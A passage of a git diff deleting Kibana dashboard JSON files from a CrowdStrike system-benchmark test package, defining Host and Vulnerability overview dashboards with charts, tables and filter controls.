-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false,
-                                    "showSingleSeries": false
-                                },
-                                "preferredSeriesType": "bar_stacked",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "c5b14462-c4b7-4bc6-b826-592096b235ef",
-                    "w": 24,
-                    "x": 0,
-                    "y": 17
-                },
-                "panelIndex": "c5b14462-c4b7-4bc6-b826-592096b235ef",
-                "title": "Host over Host IP [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "de769611-9467-477d-9867-fc74698abdd9",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "c6d62863-d037-4156-a25c-6e4bc06b7885": {
-                                            "columnOrder": [
-                                                "eb4c815b-4d40-4169-bba7-5cfd9408ae9a",
-                                                "396927e3-233a-4a3a-b459-929dafd53134",
-                                                "6e59d96a-2622-45fc-8b9b-ce38c1eb1556"
-                                            ],
-                                            "columns": {
-                                                "396927e3-233a-4a3a-b459-929dafd53134": {
-                                                    "customLabel": true,
-                                                    "dataType": "date",
-                                                    "isBucketed": true,
-                                                    "label": "Timestamp",
-                                                    "operationType": "date_histogram",
-                                                    "params": {
-                                                        "dropPartials": false,
-                                                        "includeEmptyRows": true,
-                                                        "interval": "auto"
-                                                    },
-                                                    "scale": "interval",
-                                                    "sourceField": "@timestamp"
-                                                },
-                                                "6e59d96a-2622-45fc-8b9b-ce38c1eb1556": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "eb4c815b-4d40-4169-bba7-5cfd9408ae9a": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Device ID",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "6e59d96a-2622-45fc-8b9b-ce38c1eb1556",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "device.id"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "de769611-9467-477d-9867-fc74698abdd9",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.host"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.host"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "6e59d96a-2622-45fc-8b9b-ce38c1eb1556"
-                                        ],
-                                        "layerId": "c6d62863-d037-4156-a25c-6e4bc06b7885",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "bar_stacked",
-                                        "showGridlines": false,
-                                        "splitAccessor": "eb4c815b-4d40-4169-bba7-5cfd9408ae9a",
-                                        "xAccessor": "396927e3-233a-4a3a-b459-929dafd53134"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false,
-                                    "showSingleSeries": true
-                                },
-                                "preferredSeriesType": "bar_stacked",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide",
-                                "valuesInLegend": true
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "ea96fb11-edf9-470e-a7f9-903b084e1901",
-                    "w": 24,
-                    "x": 24,
-                    "y": 17
-                },
-                "panelIndex": "ea96fb11-edf9-470e-a7f9-903b084e1901",
-                "title": "Host over Timestamp [Logs CrowdStrike]",
-                "type": "lens"
-            }
-        ],
-        "timeRestore": false,
-        "title": "[Logs CrowdStrike] Host",
-        "version": 2
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-01T12:27:20.645Z",
-    "id": "crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c",
-    "managed": false,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:af92b18a-b19c-4eea-88d7-7eef6ca7cea7",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "be658e9b-1f41-424b-a975-ab42befcb77e:indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "be658e9b-1f41-424b-a975-ab42befcb77e:4275918f-e9ad-4439-b16c-190021e6a4dd",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:a10dc271-d00d-4766-8ec4-28fe3978afea",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:de769611-9467-477d-9867-fc74698abdd9",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "dashboard",
-    "typeMigrationVersion": "10.2.0",
-    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json
deleted file mode 100644
index c45272165a..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json
+++ /dev/null
@@ -1,1111 +0,0 @@
-{
-    "attributes": {
-        "controlGroupInput": {
-            "chainingSystem": "HIERARCHICAL",
-            "controlStyle": "oneLine",
-            "ignoreParentSettingsJSON": {
-                "ignoreFilters": false,
-                "ignoreQuery": false,
-                "ignoreTimerange": false,
-                "ignoreValidations": false
-            },
-            "panelsJSON": {
-                "47c1726b-56fd-48c9-9378-07a165ac42b9": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "crowdstrike.vulnerability.confidence",
-                        "id": "47c1726b-56fd-48c9-9378-07a165ac42b9",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "singleSelect": true,
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Confidence"
-                    },
-                    "grow": true,
-                    "order": 3,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                },
-                "5cc4f532-9959-46b8-ba73-8bd54c27891b": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "crowdstrike.vulnerability.status",
-                        "id": "5cc4f532-9959-46b8-ba73-8bd54c27891b",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "singleSelect": true,
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Status"
-                    },
-                    "grow": true,
-                    "order": 2,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                },
-                "609aecfe-f39b-41ee-b60a-d5bb0fab67b0": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "vulnerability.severity",
-                        "id": "609aecfe-f39b-41ee-b60a-d5bb0fab67b0",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "singleSelect": true,
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Severity"
-                    },
-                    "grow": true,
-                    "order": 1,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                },
-                "f4535e1b-f830-47b7-8bfc-72df5cca8d15": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "vulnerability.id",
-                        "id": "f4535e1b-f830-47b7-8bfc-72df5cca8d15",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Vulnerability"
-                    },
-                    "grow": true,
-                    "order": 0,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                }
-            },
-            "showApplySelections": false
-        },
-        "description": "Overview of the CrowdStrike Vulnerability Logs.",
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "field": "data_stream.dataset",
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-                            "key": "data_stream.dataset",
-                            "negate": false,
-                            "params": {
-                                "query": "crowdstrike.vulnerability"
-                            },
-                            "type": "phrase"
-                        },
-                        "query": {
-                            "match_phrase": {
-                                "data_stream.dataset": "crowdstrike.vulnerability"
-                            }
-                        }
-                    }
-                ],
-                "query": {
-                    "language": "kuery",
-                    "query": ""
-                }
-            }
-        },
-        "optionsJSON": {
-            "hidePanelTitles": false,
-            "syncColors": false,
-            "syncCursor": true,
-            "syncTooltips": false,
-            "useMargins": true
-        },
-        "panelsJSON": [
-            {
-                "embeddableConfig": {
-                    "enhancements": {
-                        "dynamicActions": {
-                            "events": []
-                        }
-                    },
-                    "savedVis": {
-                        "data": {
-                            "aggs": [],
-                            "searchSource": {
-                                "filter": [],
-                                "query": {
-                                    "language": "kuery",
-                                    "query": ""
-                                }
-                            }
-                        },
-                        "description": "",
-                        "params": {
-                            "fontSize": 12,
-                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)\n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n**Vulnerability**\n\n### Overview\n\nThis dashboard shows detailed statistics and visualizations of ingested logs related to vulnerabilities detected by CrowdStrike.\n\nIt provides an overview of vulnerabilities over time and highlights the top 10 vulnerabilities and most affected hosts. The dashboard also breaks down vulnerabilities by severity, status, and confidence levels to aid in risk assessment and prioritization.\n",
-                            "openLinksInNewTab": false
-                        },
-                        "title": "",
-                        "type": "markdown",
-                        "uiState": {}
-                    }
-                },
-                "gridData": {
-                    "h": 31,
-                    "i": "cb1b46eb-0f11-4f81-86a1-47c016e9027a",
-                    "w": 11,
-                    "x": 0,
-                    "y": 0
-                },
-                "panelIndex": "cb1b46eb-0f11-4f81-86a1-47c016e9027a",
-                "title": "Table of Contents",
-                "type": "visualization"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "c53d6776-c8f8-4c71-a375-69d006304e6b": {
-                                            "columnOrder": [
-                                                "114b51a3-a012-44f0-9b81-255592bf9007",
-                                                "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c"
-                                            ],
-                                            "columns": {
-                                                "114b51a3-a012-44f0-9b81-255592bf9007": {
-                                                    "dataType": "date",
-                                                    "isBucketed": true,
-                                                    "label": "@timestamp",
-                                                    "operationType": "date_histogram",
-                                                    "params": {
-                                                        "dropPartials": false,
-                                                        "includeEmptyRows": true,
-                                                        "interval": "auto"
-                                                    },
-                                                    "scale": "interval",
-                                                    "sourceField": "@timestamp"
-                                                },
-                                                "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c"
-                                        ],
-                                        "colorMapping": {
-                                            "assignments": [],
-                                            "colorMode": {
-                                                "type": "categorical"
-                                            },
-                                            "paletteId": "eui_amsterdam_color_blind",
-                                            "specialAssignments": [
-                                                {
-                                                    "color": {
-                                                        "type": "loop"
-                                                    },
-                                                    "rule": {
-                                                        "type": "other"
-                                                    },
-                                                    "touched": false
-                                                }
-                                            ]
-                                        },
-                                        "layerId": "c53d6776-c8f8-4c71-a375-69d006304e6b",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "line",
-                                        "showGridlines": false,
-                                        "xAccessor": "114b51a3-a012-44f0-9b81-255592bf9007"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false
-                                },
-                                "preferredSeriesType": "line",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e",
-                    "w": 37,
-                    "x": 11,
-                    "y": 0
-                },
-                "panelIndex": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e",
-                "title": "Vulnerability over time [Logs Crowdstrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "a43eff7e-1ae6-4159-a295-2c753dffbd4a": {
-                                            "columnOrder": [
-                                                "8d57da88-d081-47a0-b896-eb94553bd55b",
-                                                "4bf72fea-6f03-4a5f-8488-028886adaef9"
-                                            ],
-                                            "columns": {
-                                                "4bf72fea-6f03-4a5f-8488-028886adaef9": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "8d57da88-d081-47a0-b896-eb94553bd55b": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Vulnerability",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "accuracyMode": false,
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "vulnerability.id"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "alignment": "right",
-                                        "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
-                                        "isMetric": true,
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b",
-                                        "isMetric": false,
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "headerRowHeight": "custom",
-                                "headerRowHeightLines": 3,
-                                "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a",
-                                "layerType": "data",
-                                "paging": {
-                                    "enabled": false,
-                                    "size": 10
-                                },
-                                "rowHeight": "single",
-                                "rowHeightLines": 1
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "da53bcd1-6533-49f4-b01a-f6f73ce41379",
-                    "w": 19,
-                    "x": 11,
-                    "y": 15
-                },
-                "panelIndex": "da53bcd1-6533-49f4-b01a-f6f73ce41379",
-                "title": "Top 10 Vulnerability [Logs Crowdstrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "a43eff7e-1ae6-4159-a295-2c753dffbd4a": {
-                                            "columnOrder": [
-                                                "8d57da88-d081-47a0-b896-eb94553bd55b",
-                                                "4bf72fea-6f03-4a5f-8488-028886adaef9"
-                                            ],
-                                            "columns": {
-                                                "4bf72fea-6f03-4a5f-8488-028886adaef9": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "8d57da88-d081-47a0-b896-eb94553bd55b": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Hosts",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "accuracyMode": false,
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.name"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "alignment": "right",
-                                        "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
-                                        "isMetric": true,
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b",
-                                        "isMetric": false,
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "headerRowHeight": "custom",
-                                "headerRowHeightLines": 3,
-                                "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a",
-                                "layerType": "data",
-                                "paging": {
-                                    "enabled": false,
-                                    "size": 10
-                                },
-                                "rowHeight": "single",
-                                "rowHeightLines": 1
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "e23b231a-c029-433f-b6aa-0bc83960b159",
-                    "w": 18,
-                    "x": 30,
-                    "y": 15
-                },
-                "panelIndex": "e23b231a-c029-433f-b6aa-0bc83960b159",
-                "title": "Top 10 Host [Logs Crowdstrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "f8493eb0-bbd5-47d9-9219-a326a5a73495": {
-                                            "columnOrder": [
-                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b",
-                                                "b106a076-fc73-4cf0-b678-211f5e67be21"
-                                            ],
-                                            "columns": {
-                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Severity",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "vulnerability.severity"
-                                                },
-                                                "b106a076-fc73-4cf0-b678-211f5e67be21": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "colorMapping": {
-                                            "assignments": [],
-                                            "colorMode": {
-                                                "type": "categorical"
-                                            },
-                                            "paletteId": "eui_amsterdam_color_blind",
-                                            "specialAssignments": [
-                                                {
-                                                    "color": {
-                                                        "type": "loop"
-                                                    },
-                                                    "rule": {
-                                                        "type": "other"
-                                                    },
-                                                    "touched": false
-                                                }
-                                            ]
-                                        },
-                                        "emptySizeRatio": 0,
-                                        "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "b106a076-fc73-4cf0-b678-211f5e67be21"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "4710b8dd-a68b-4d69-9348-5a5f58444e7b"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "36af41e0-213c-4145-acac-25b167b317ea",
-                    "w": 16,
-                    "x": 0,
-                    "y": 31
-                },
-                "panelIndex": "36af41e0-213c-4145-acac-25b167b317ea",
-                "title": "Vulnerability by Severity [Logs Crowdstrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "f8493eb0-bbd5-47d9-9219-a326a5a73495": {
-                                            "columnOrder": [
-                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b",
-                                                "b106a076-fc73-4cf0-b678-211f5e67be21"
-                                            ],
-                                            "columns": {
-                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Status",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "crowdstrike.vulnerability.status"
-                                                },
-                                                "b106a076-fc73-4cf0-b678-211f5e67be21": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "colorMapping": {
-                                            "assignments": [],
-                                            "colorMode": {
-                                                "type": "categorical"
-                                            },
-                                            "paletteId": "eui_amsterdam_color_blind",
-                                            "specialAssignments": [
-                                                {
-                                                    "color": {
